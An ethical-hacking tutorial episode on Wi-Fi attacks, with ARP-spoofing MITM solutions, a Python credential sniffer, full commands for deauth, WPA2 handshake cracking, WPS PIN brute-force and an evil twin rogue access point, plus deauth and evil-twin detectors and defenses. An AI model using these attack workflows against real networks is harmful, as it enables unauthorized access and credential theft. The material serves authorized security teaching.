Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi

Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi

leh-banner.jpg

What will I learn

  • Wi-Fi security protocols: WEP, WPA, WPA2, WPA3 -- what is broken and what is not;
  • Monitor mode and wireless packet capture with the aircrack-ng suite;
  • Capturing WPA2 handshakes and cracking them offline with aircrack-ng and hashcat;
  • Rogue access points (Evil Twin attacks) for credential harvesting;
  • WPS PIN attacks that bypass WPA2 password strength entirely;
  • Building your own Wi-Fi scanner, deauth detector, and evil twin detector in Python;
  • Defense: strong passphrases, WPA3, 802.1X enterprise authentication.

Requirements

  • A working modern computer running macOS, Windows or Ubuntu;
  • Your hacking lab from Episode 2;
  • A USB Wi-Fi adapter that supports monitor mode (e.g., Alfa AWUS036ACH);
  • The ambition to learn ethical hacking and security research.

Difficulty

  • Intermediate

Curriculum (of the Learn Ethical Hacking series):

Solutions to Episode 29 Exercises

Exercise 1 -- ARP MITM + traffic capture:

# Enable IP forwarding (so traffic flows through us)
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# ARP spoof -- tell Metasploitable we're the gateway
sudo arpspoof -i eth0 -t 192.168.56.101 192.168.56.1 &

# ARP spoof -- tell gateway we're Metasploitable
sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.101 &

# Capture all traffic flowing through us
sudo tcpdump -i eth0 -w mitm-capture.pcap &

# Generate HTTP traffic from Metasploitable (or to it)
curl http://192.168.56.101/
curl http://192.168.56.101/dvwa/login.php

# Login to FTP
ftp 192.168.56.101  # msfadmin/msfadmin

# Stop capture, analyze
kill %3
tcpdump -r mitm-capture.pcap -A | grep -i "user\|pass\|cookie\|GET \|POST "

Exercise 2 -- Credential sniffer script:

#!/usr/bin/env python3
from scapy.all import rdpcap, TCP, Raw, IP
import re
import base64

def analyze_pcap(filename):
    packets = rdpcap(filename)
    print(f"[*] Loaded {len(packets)} packets from {filename}\n")

    for pkt in packets:
        if TCP not in pkt or Raw not in pkt:
            continue
        payload = pkt[Raw].load.decode('utf-8', errors='ignore')
        src = pkt[IP].src if IP in pkt else "?"

        # FTP credentials
        if pkt[TCP].dport == 21:
            if payload.startswith('USER '):
                print(f"[FTP] {src} -> USER: {payload.strip()}")
            elif payload.startswith('PASS '):
                print(f"[FTP] {src} -> PASS: {payload.strip()}")

        # HTTP form data + basic auth
        if pkt[TCP].dport == 80:
            if 'Authorization: Basic' in payload:
                b64 = re.search(r'Basic (\S+)', payload)
                if b64:
                    creds = base64.b64decode(b64.group(1)).decode()
                    print(f"[HTTP Basic] {src} -> {creds}")
            for field in ['username', 'password', 'user', 'pass', 'login']:
                match = re.search(f'{field}=([^&\s]+)', payload, re.I)
                if match:
                    print(f"[HTTP POST] {src} -> {field}={match.group(1)}")

        # DNS
        if pkt[TCP].dport == 53 or (hasattr(pkt[TCP], 'sport') and pkt[TCP].sport == 53):
            print(f"[DNS] {payload[:80]}")

analyze_pcap("mitm-capture.pcap")

Exercise 3 -- SSL stripping vs HSTS:

SSL stripping (sslstrip) works by intercepting HTTP redirects to HTTPS and rewriting them as HTTP, keeping the victim on an unencrypted connection while the attacker talks HTTPS to the server. HSTS defeats this because the browser remembers "always use HTTPS for this domain" from a previous visit's Strict-Transport-Security header -- it never sends HTTP in the first place, so there's nothing to intercept. HSTS preloading hardcodes this into the browser's source code, protecting even the first visit. The weakness: HSTS can't protect the very first connection to a domain if it's not preloaded, because the browser hasn't seen the HSTS header yet. That first request goes over HTTP and IS vulnerable to stripping.

Learn Ethical Hacking (#30) - Breaking Wi-Fi

Last episode we went from the application layer down to the wire -- capturing packets, performing ARP spoofing attacks, extracting credentials from unencrypted traffic. All of that assumed you had a cable plugged into the network. A physical connection. An ethernet port somewhere. But what if the network doesn't USE cables?

Wi-Fi is everywhere. Coffee shops, airports, offices, homes, hospitals, factories. Every one of those wireless networks is broadcasting its existence to anyone within range, and every one of them is a potential entry point for an attacker who knows what they're doing. Unlike wired networks where you need physical access to a switch port (which we talked about in episode 29), wireless networks accept connection attempts from anyone standing in the parking lot. Or sitting in a car across the street. Or operating a directional antenna from a hilltop 500 meters away.

This is a fundamentally different threat model. With wired sniffing, you needed to be ON the network -- either physically connected or having compromised a machine that is. With wireless, you don't even need to be connected to see traffic. In monitor mode (which we'll get to shortly), your wireless adapter captures every frame in the air regardless of what network it belongs to. Every beacon frame every access point broadcasts. Every data frame every client sends. Every authentication handshake. All of it, floating through the air, waiting to be captured.

Important: ONLY perform these attacks against networks you OWN or have explicit written authorization to test. Attacking someone else's wifi is a federal crime in most jurisdictions. I'm not joking about this -- people have gone to prison for wardriving offenses that seemed "harmless" at the time.

Alles in de lucht is te vangen. De vraag is alleen of je het juiste apparaat hebt.

Wi-Fi Security Protocols: A Short and Painful History

The history of wifi security is basically a timeline of failure followed by incremental improvement. Let me walk you through it, because understanding what's broken (and WHY it's broken) is essential before you start attacking anything.

WEP  (1997) -- Wired Equivalent Privacy. BROKEN. Crackable in minutes.
               Uses RC4 stream cipher with weak IV reuse.
               The 24-bit initialization vector (IV) repeats after
               ~5000 packets. Collect enough IVs and you can
               reconstruct the key. Do not use. Ever.

WPA  (2003) -- Wi-Fi Protected Access. TKIP encryption.
               Better than WEP but still has vulnerabilities.
               TKIP was a stopgap -- designed to work on existing
               WEP hardware with a firmware update. Deprecated.

WPA2 (2004) -- Uses AES-CCMP. Current standard for most networks.
               Vulnerable to offline dictionary attacks if the
               passphrase is weak. Also vulnerable to KRACK attack
               (key reinstallation, CVE-2017-13077).

WPA3 (2018) -- Uses SAE (Simultaneous Authentication of Equals).
               Resistant to offline dictionary attacks because the
               handshake doesn't expose material for offline cracking.
               Still being adopted. Best available consumer option.

The jump from WEP to WPA2 was massive. WEP's failure was architectural -- the protocol itself was mathematically broken. You could crack a WEP key by passively collecting packets, no client interaction needed, and the crack took minutes regardless of password complexity. WPA2 with AES-CCMP is cryptographically sound. The weakness is in the handshake mechanism: if you capture the 4-way handshake, you can brute-force the passphrase offline. If the password is "sunshine123" you're done in seconds. If the password is a 20-character random string, you're done approximately never.

Having said that, WPA2's real vulnerability isn't the encryption -- it's the passwords people choose. And that's exactly what we're going to exploit ;-)

Monitor Mode and Packet Capture

Your normal wireless card operates in managed mode -- it connects to a single access point and only processes frames addressed to your device. Everything else gets silently dropped at the hardware level. For wireless attacks, you need monitor mode -- a mode where the NIC captures ALL wireless frames in range, regardless of source or destination. Every network. Every client. Every management frame.

Not all wireless adapters support monitor mode. The built-in wifi cards in most laptops do NOT (or have driver restrictions that prevent it). You need a dedicated adapter with chipsets that support monitor mode and packet injection. The Alfa AWUS036ACH (Realtek RTL8812AU chipset) is the most popular choice among pentesters -- dual-band (2.4GHz + 5GHz), good range, well-supported drivers on Kali Linux.

# Check your wireless interface
iwconfig

# Kill processes that might interfere with monitor mode
sudo airmon-ng check kill

# Enable monitor mode on your wireless adapter
sudo airmon-ng start wlan0
# Creates wlan0mon (or similar) in monitor mode

# Scan for nearby networks
sudo airodump-ng wlan0mon
# Shows: BSSID (MAC), channel, encryption type, ESSID (network name),
# connected clients, signal strength

# Target a specific network (lock to its channel, capture to file)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# -c 6: lock to channel 6
# --bssid: filter to target AP's MAC address
# -w: output file prefix (creates capture-01.cap, etc)

The airmon-ng check kill step is important and often forgotten by beginners. Network Manager, wpa_supplicant, and other system services will fight for control of the wireless adapter. If you don't kill them first, airodump-ng will randomly hop channels or fail to capture cleanly. I've spent more time debugging this than I'd like to admit -- always run check kill before anything else.

airodump-ng is your primary reconnaissance tool for wireless networks. It shows every access point and every client in range, along with encryption type, channel, signal strength, and data rate. The top half of the display shows access points. The bottom half shows clients and which AP they're associated with. This is your target selection phase -- find YOUR test network, note its BSSID and channel, then lock in.

Capturing the WPA2 Handshake

WPA2 uses a 4-way handshake between the client and the access point when a connection is established. This handshake contains the cryptographic material needed to verify a passphrase guess offline. If you capture this handshake, you can attempt to crack the password without any further network interaction.

The handshake happens when a client connects or reconnects. You can wait for someone to naturally connect (which could take hours), or you can FORCE a reconnection by sending forged deauthentication frames:

# Deauthenticate a specific client (forces them to reconnect)
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# -0 5: deauthentication attack, send 5 deauth frames
# -a: target access point BSSID
# -c: target client MAC address

# Or deauth ALL clients on the target AP
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Omitting -c sends broadcast deauth -- all clients disconnect

# airodump-ng will show "WPA handshake: AA:BB:CC:DD:EE:FF"
# in the top-right corner when the handshake is captured

What happens technically: the deauthentication frame is a management frame defined in the IEEE 802.11 standard. Management frames in WPA2 are NOT authenticated or encrypted (this was fixed in WPA3 with Protected Management Frames / 802.11w). Any device can send a deauth frame claiming to be the access point, and the client will accept it. The client disconnects, then immediately tries to reconnect, performing the full 4-way handshake. Your airodump-ng capture file now contains the handshake.

This is one of those attacks that's almost embarrasingly simple once you understand it. The entire wifi authentication mechanism relies on management frames that have zero integrity protection. Anyone can forge them. The standard was designed in an era when the threat model didn't include active wireless attackers -- which, in hindsight, was spectacularly optimistic.

Cracking the Handshake

With the captured handshake, the attack is entirely offline. No more network interaction. You're just testing passwords against the captured handshake material:

# Method 1: aircrack-ng with wordlist (CPU-based, slower)
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

# Method 2: hashcat (GPU-accelerated, MUCH faster)
# First convert the capture to hashcat format
hcxpcapngtool capture-01.cap -o hash.hc22000

# Crack with hashcat using GPU
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Performance comparison (approximate, RTX 4090):
# aircrack-ng (CPU): ~5,000 passwords/second
# hashcat (GPU):     ~500,000 passwords/second
# rockyou.txt has 14.3 million entries
# CPU: ~48 minutes. GPU: ~29 seconds.

If the password is sunshine123 (which IS in rockyou.txt): cracked in under 30 seconds on any modern GPU. If it's Winter2024! (also in most wordlists): same story. If it's correct-horse-battery-staple-7 or a truly random 20-character passphrase: you're looking at the heat death of the universe. The math is unforgiving -- a 20-character random alphanumeric passphrase has roughly 10^36 possibilities. At 500,000 guesses per second, that's approximately 6 * 10^22 years.

The defense is obvious: use a long, random passphrase. Not CompanyName2024!. Not MyDogRex123. Not welcome1 (which appears in every wordlist ever compiled). Something generated by a password manager, or a long memorable phrase with enough entropy to resist dictionary attacks. The password IS the security boundary in WPA2 -- if it's weak, the entire encryption is meaningless.

This is the same lesson we covered in episode 7 (passwords) applied to a different context. The cryptography is fine. The humans choosing passwords are the problem. As always ;-)

WPS Attacks: Bypassing the Password Entirely

Here's where it gets really interesting. WPS (Wi-Fi Protected Setup) was designed to make it easy for non-technical users to connect devices to their wifi by pressing a button or entering an 8-digit PIN. Noble intention. Catastrophic implementation.

The WPS PIN is checked in two halves. The router verifies the first 4 digits, then the second 4 digits, separately. And the 8th digit is a checksum of the first 7. This means instead of brute-forcing 10^8 (100 million) combinations, you only need 10^4 + 10^3 = 11,000 combinations. That's... not a lot.

# Check if WPS is enabled on nearby access points
wash -i wlan0mon

# Brute force WPS PIN
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
# Typical time: 2-10 hours depending on the router
# Returns the WPA2 passphrase regardless of its complexity!

# Pixie Dust attack (much faster, works on some chipsets)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K
# -K enables Pixie Dust (offline attack against WPS key exchange)
# Can crack in seconds if the router is vulnerable

Read that again: reaver recovers the WPA2 passphrase through the WPS PIN. It does not matter if you have a 63-character random WPA2 password generated by KeePass with maximum entropy. If WPS is enabled, reaver bypasses it completely by brute-forcing the 8-digit PIN and then asking the router to hand over the actual password. The strength of your WPA2 passphrase is IRRELEVANT when WPS is the entry point.

The Pixie Dust attack (the -K flag) is even worse. It exploits weak random number generation in certain WPS implementations to crack the PIN offline, using only a single key exchange. On vulnerable routers (and there are many), the attack completes in seconds. Not hours. Seconds.

Defense: disable WPS entirely. It's a bypass door installed next to your reinforced vault door. Some routers don't even let you fully disable it through the admin interface (the button may still work even when the setting says "disabled"). In those cases, your only option is a firmware update or a different router.

Rogue Access Point (Evil Twin)

A rogue access point (also called an Evil Twin) mimics a legitimate network. You create an access point with the same SSID as the target, and victims connect to you thinking they're connecting to the real network. All their traffic flows through your machine -- and from there, everything we covered in episode 29 (ARP spoofing, credential extraction, SSL stripping) applies automatically because you ARE the network.

# Create a fake access point using hostapd
# hostapd.conf:
#   interface=wlan0
#   driver=nl80211
#   ssid=CoffeeShop_Free_WiFi
#   hw_mode=g
#   channel=6
#   auth_algs=1
#   wmm_enabled=0

sudo hostapd hostapd.conf

# Set up DHCP for connected clients
sudo dnsmasq --interface=wlan0 --dhcp-range=10.0.0.10,10.0.0.100,12h --no-daemon

# Enable NAT (route victim traffic to the internet through your eth0)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Now capture all traffic from connected clients
sudo tcpdump -i wlan0 -w evil-twin-capture.pcap

When someone connects to your rogue AP:

  • All their HTTP traffic is visible in plaintext
  • DNS queries reveal every site they visit
  • You can inject content into HTTP responses
  • A captive portal can phish credentials ("Please sign in to access wifi")
  • You're in a perfect MITM position without needing ARP spoofing

The corporate variant is even more effective. Clone the company's SSID and encryption settings. Modern devices automatically connect to the strongest signal for a known SSID. If your rogue AP in the parking lot is broadcasting at higher power than the legitimate AP inside the building, employees' phones and laptops will connect to you. They'll authenticate with their WPA2-Enterprise credentials, which you capture with hostapd-wpe (a modified version of hostapd specifically designed for credential harvesting from enterprise wifi).

This attack targets a fundamental design decision in 802.11: clients authenticate to access points, but access points don't authenticate to clients (in most configurations). Your laptop has no way to verify that the "CorporateWiFi" AP it's connecting to is actually run by the IT department and not by someone in a van outside. WPA3 improves this with SAE, but for WPA2 networks it remains a significant vulnerability.

The Wifi Pineapple and Automated Rogue APs

Commercial tools like the Hak5 Wifi Pineapple automate the entire evil twin workflow into a portable device. It continuously monitors for probe requests (when your phone asks "is CoffeeShop_Free_WiFi available?") and automatically creates matching rogue APs. No manual configuration. It captures every SSID your phone has ever connected to -- because your phone broadcasts those names in probe requests, advertising your entire connection history to anyone listening.

Try this on your own device: put a wifi adapter in monitor mode and watch the probe requests. You'll see every phone in range shouting "Hey, is HomeWiFi here? Hey, is Starbucks here? Hey, is AirportFreeWiFi here?" This is how evil twin attacks work at scale. You don't even need to know what SSID to clone -- the victims tell you.

Wi-Fi Scanner in Python

Building your own tools (as always in this series) teaches you what's actually happening at the protocol level. This scanner uses Scapy to capture and decode 802.11 beacon frames -- the periodic announcements that every access point broadcasts:

#!/usr/bin/env python3
"""wifi_scanner.py - Discover nearby Wi-Fi networks.
Run with: sudo python3 wifi_scanner.py wlan0mon
"""
from scapy.all import Dot11, Dot11Beacon, Dot11Elt, sniff, RadioTap
import sys

networks = {}

def packet_handler(pkt):
    if pkt.haslayer(Dot11Beacon):
        bssid = pkt[Dot11].addr2
        if bssid in networks:
            return

        # Extract SSID
        ssid = pkt[Dot11Elt].info.decode('utf-8', errors='ignore')
        if not ssid:
            ssid = "<hidden>"

        # Extract channel from DS Parameter Set
        channel = None
        elt = pkt[Dot11Elt]
        while elt:
            if elt.ID == 3:  # DS Parameter Set = channel
                channel = int.from_bytes(elt.info, 'little')
                break
            elt = elt.payload.getlayer(Dot11Elt)

        # Extract encryption type
        cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}")
        crypto = set()
        if "privacy" in cap:
            p = pkt
            while p:
                if p.haslayer(Dot11Elt):
                    if p[Dot11Elt].ID == 48:  # RSN = WPA2
                        crypto.add("WPA2")
                    elif (p[Dot11Elt].ID == 221 and
                          p[Dot11Elt].info.startswith(b'\x00P\xf2\x01')):
                        crypto.add("WPA")
                p = p.payload
            if not crypto:
                crypto.add("WEP")
        else:
            crypto.add("OPEN")

        # Signal strength
        signal = ""
        if pkt.haslayer(RadioTap):
            try:
                signal = f"{pkt[RadioTap].dBm_AntSignal} dBm"
            except:
                pass

        networks[bssid] = {
            'ssid': ssid, 'channel': channel,
            'crypto': '/'.join(crypto), 'signal': signal
        }

        print(f"[+] {bssid}  Ch:{channel or '?':>3}  "
              f"{'/'.join(crypto):<8}  {signal:<10}  {ssid}")

def main():
    iface = sys.argv[1] if len(sys.argv) > 1 else "wlan0mon"

    print(f"[*] Wi-Fi Scanner on {iface}")
    print(f"[*] Ensure interface is in monitor mode:")
    print(f"    sudo airmon-ng start {iface.replace('mon','')}")
    print(f"{'='*70}")
    print(f"{'BSSID':<20} {'Ch':>3}  {'Crypto':<8}  "
          f"{'Signal':<10}  SSID")
    print(f"{'='*70}")

    try:
        sniff(iface=iface, prn=packet_handler,
              store=False, timeout=60)
    except KeyboardInterrupt:
        pass

    print(f"\n[+] Found {len(networks)} networks")

if __name__ == "__main__":
    main()
# Put your wireless adapter in monitor mode first
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Run our scanner
sudo python3 wifi_scanner.py wlan0mon

# Or use airodump-ng for a more feature-rich view
sudo airodump-ng wlan0mon

The scanner works by sniffing for Dot11Beacon frames -- the management frames that APs broadcast roughly 10 times per second. Each beacon contains the SSID, supported rates, channel information, and security capabilities. Our script parses the Information Elements (IEs) embedded in each beacon to determine the channel (IE ID 3 = DS Parameter Set) and encryption type (IE ID 48 = RSN for WPA2, IE ID 221 with Microsoft OUI = WPA).

Deauth Detector

Now the defensive side. If someone is running a deauthentication attack against your network (step 1 of the WPA2 handshake capture attack), you want to know about it. This script monitors for deauth and disassociation frames and alerts when it detects a flood:

#!/usr/bin/env python3
"""deauth_detector.py - Detect Wi-Fi deauthentication attacks.
Run with: sudo python3 deauth_detector.py wlan0mon
"""
from scapy.all import Dot11, Dot11Deauth, Dot11Disas, sniff
from collections import defaultdict
import sys
import time

deauth_count = defaultdict(int)
start_time = time.time()

def detect_deauth(pkt):
    if pkt.haslayer(Dot11Deauth) or pkt.haslayer(Dot11Disas):
        src = pkt[Dot11].addr2 or "unknown"
        dst = pkt[Dot11].addr1 or "broadcast"

        deauth_count[src] += 1
        elapsed = time.time() - start_time

        if deauth_count[src] >= 5:
            print(f"[!!!] DEAUTH ATTACK from {src} -> {dst} "
                  f"({deauth_count[src]} frames in {elapsed:.0f}s)")
        else:
            print(f"[!] Deauth: {src} -> {dst} "
                  f"(count: {deauth_count[src]})")

if __name__ == "__main__":
    iface = sys.argv[1] if len(sys.argv) > 1 else "wlan0mon"
    print(f"[*] Monitoring for deauth attacks on {iface}")
    print(f"[*] Alert threshold: 5+ deauth frames from same source\n")
    sniff(iface=iface, prn=detect_deauth, store=False)

In a legitimate network, deauthentication frames are rare -- they happen occasionally when a client roams to a different AP or when the AP restarts. Seeing 5+ deauth frames from the same source in rapid succession is almost certainly an attack. Our detector tracks the count per source MAC and raises alerts when the threshold is exceeded.

Enterprise networks deploy this concept at scale with Wireless Intrusion Detection Systems (WIDS) -- dedicated sensors that monitor the RF environment for rogue APs, deauth floods, and other wireless attacks. The commercial tools (Cisco Meraki, Aruba AirWave) do exactly what our Python script does, just with more sensors, better analytics, and a prettier dashboard.

Evil Twin Detection Script

Detection from the client side. If you suspect rogue access points in your environment, this script watches for duplicate SSIDs -- the same network name appearing from multiple MAC addresses, which is the signature of an evil twin attack:

#!/usr/bin/env python3
"""evil_twin_detect.py - Detect rogue access points with duplicate SSIDs.
Run with: sudo python3 evil_twin_detect.py wlan0mon
"""
from scapy.all import Dot11, Dot11Beacon, Dot11Elt, sniff
from collections import defaultdict
import sys

ssid_bssids = defaultdict(set)

def check_evil_twin(pkt):
    if pkt.haslayer(Dot11Beacon):
        bssid = pkt[Dot11].addr2
        ssid = pkt[Dot11Elt].info.decode('utf-8', errors='ignore')
        if not ssid:
            return

        ssid_bssids[ssid].add(bssid)

        if len(ssid_bssids[ssid]) > 1:
            print(f"\n[!!!] POSSIBLE EVIL TWIN: "
                  f"'{ssid}' seen from multiple APs:")
            for b in ssid_bssids[ssid]:
                print(f"      BSSID: {b}")
            print(f"      One of these may be rogue!\n")

if __name__ == "__main__":
    iface = sys.argv[1] if len(sys.argv) > 1 else "wlan0mon"
    print(f"[*] Evil Twin detector on {iface} (Ctrl+C to stop)\n")
    sniff(iface=iface, prn=check_evil_twin, store=False)

A caveat: legitimate enterprise deployments often have multiple APs with the same SSID (that's how roaming works). The difference is that legitimate APs share a common BSSID prefix (the first 3 octets are the manufacturer OUI) and operate on coordinated channels. A rogue AP will have a different OUI and might be on an unexpected channel. A more sophisticated detector would check for OUI mismatches and unexpected channel assignments -- but the basic "same SSID, different BSSID" check catches most casual evil twin attacks.

WPA2 Handshake Capture: The Full Attack Flow

Let me put it all together in one workflow, step by step, as you'd execute it during an authorized wireless assessment:

# Step 1: Put adapter in monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Step 2: Scan for target network
sudo airodump-ng wlan0mon
# Find your target: note BSSID, channel, connected clients

# Step 3: Lock capture to target
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Step 4: Force client reconnection (in a separate terminal)
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Watch airodump output for "WPA handshake" message

# Step 5: Crack the handshake offline
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# If password is in the wordlist, aircrack reports it

# Step 6: GPU-accelerated cracking (faster)
hcxpcapngtool capture-01.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Step 7: Clean up -- restore managed mode
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager

The whole thing takes maybe 5 minutes if a client is connected and the password is in your wordlist. Capture the handshake, crack it offline, done. The network owner never knows unless they're running a WIDS that detected the deauth frames. This is why wireless assessments are such a critical part of any comprehensive pentest -- the attack surface literally extends beyond the physical walls of the building.

Defense: Protecting Wireless Networks

Everything we've attacked in this episode has a defense. The problem (as always in security) is that most networks don't implement them:

DEFENSE LAYER 1: Strong Passphrases
  - WPA2 with a 20+ character random passphrase
  - Generated by a password manager, not a human
  - Immune to dictionary attacks (not in any wordlist)
  -> Defeats handshake cracking attacks

DEFENSE LAYER 2: Disable WPS
  - WPS is a bypass door around your strong password
  - Some routers don't fully disable it via the UI
  - Verify with wash -i wlan0mon after "disabling"
  -> Eliminates WPS PIN brute-force and Pixie Dust attacks

DEFENSE LAYER 3: WPA3 (where available)
  - SAE handshake resistant to offline dictionary attacks
  - Protected Management Frames (802.11w) prevent deauth attacks
  - Forward secrecy -- compromising one session doesn't expose others
  -> Defeats both handshake cracking AND deauth attacks

DEFENSE LAYER 4: 802.1X Enterprise Authentication
  - Individual credentials per user (not a shared passphrase)
  - Certificate-based authentication (mutual auth)
  - RADIUS server validates both client and AP identity
  -> Defeats evil twin attacks (client verifies AP certificate)

DEFENSE LAYER 5: Wireless IDS/IPS
  - Detect deauth floods, rogue APs, unauthorized clients
  - Tools: Kismet (open source), Cisco Meraki, Aruba
  - Alert on anomalies in the RF environment
  -> Detects attacks in progress

DEFENSE LAYER 6: Client-Side Hygeine
  - Disable auto-connect to open networks
  - Forget networks you no longer use
  - Use a VPN on untrusted wifi
  - Disable wifi when not in use
  -> Reduces exposure to evil twin and rogue AP attacks

Defense in depth, same principle as every other episode. No single layer is sufficient. A strong passphrase defeats cracking but not evil twins. WPA3 defeats cracking and deauth but isn't universally supported yet. 802.1X defeats evil twins but is complex to deploy. VPNs encrypt your traffic regardless of the network's security but don't help if the attacker is after network-level access. Layer them together and you make wireless attacks significantly harder.

The Connection to Network Sniffing

Everything in episode 29 -- ARP spoofing, credential extraction, SSL stripping, Bettercap -- becomes directly relevant once you've compromised a wireless network. The wifi attack is the entry point. Once you have the password (or you've set up an evil twin), you're ON the network. From that point forward, you're using wired network attack techniques through a wireless connection.

The attack chain looks like this: (1) capture WPA2 handshake, (2) crack the password, (3) connect to the network, (4) perform ARP spoofing or set up Bettercap as per episode 29, (5) extract credentials from unencrypted internal traffic, (6) use those credentials to access internal systems. Each step builds on the previous one -- wireless gets you in, network sniffing lets you move laterally, and application-layer attacks (from the first 28 episodes) let you compromise specific targets.

This is how real-world attacks work. They don't stop at one layer. They chain across layers -- physical proximity enables wireless access, wireless access enables network attacks, network attacks enable application compromise. The defender has to be right at EVERY layer. The attacker only needs to find one gap.

De muren van het kasteel doen er niet toe als de poort openstaat.

Exercises

Exercise 1: Put your wireless adapter into monitor mode and use airodump-ng to scan for nearby networks (YOUR OWN networks only). Document: how many networks are visible, what encryption each uses (WEP/WPA/WPA2/WPA3), which have WPS enabled, and how many clients are connected to each. Do NOT interact with any network you don't own.

Exercise 2: Set up a test Wi-Fi network (using a spare router or hostapd on a second machine) with WPA2 and a weak password from rockyou.txt. Capture the 4-way handshake using airodump-ng + aireplay-ng deauthentication. Crack it with aircrack-ng and hashcat. Compare cracking speeds between CPU (aircrack-ng) and GPU (hashcat). Document the full process.

Exercise 3: Research the KRACK attack (CVE-2017-13077) and the Dragonblood attacks against WPA3 (CVE-2019-9494, CVE-2019-9496). For each: explain the technical mechanism (what protocol flaw is exploited), the practical impact (what can an attacker do), and the fix (firmware update, protocol change). Write your analysis in ~/lab-notes/wifi-protocol-attacks.md.


Wi-Fi is overal. En overal is kwetsbaar.

@scipio



0
0
0.000
1 comments
avatar

Thanks for your contribution to the STEMsocial community. Feel free to join us on discord to get to know the rest of us!

Please consider delegating to the @stemsocial account (85% of the curation rewards are returned).

Consider setting @stemsocial as a beneficiary of this post's rewards if you would like to support the community and contribute to its mission of promoting science and education on Hive. 
 

0
0
0.000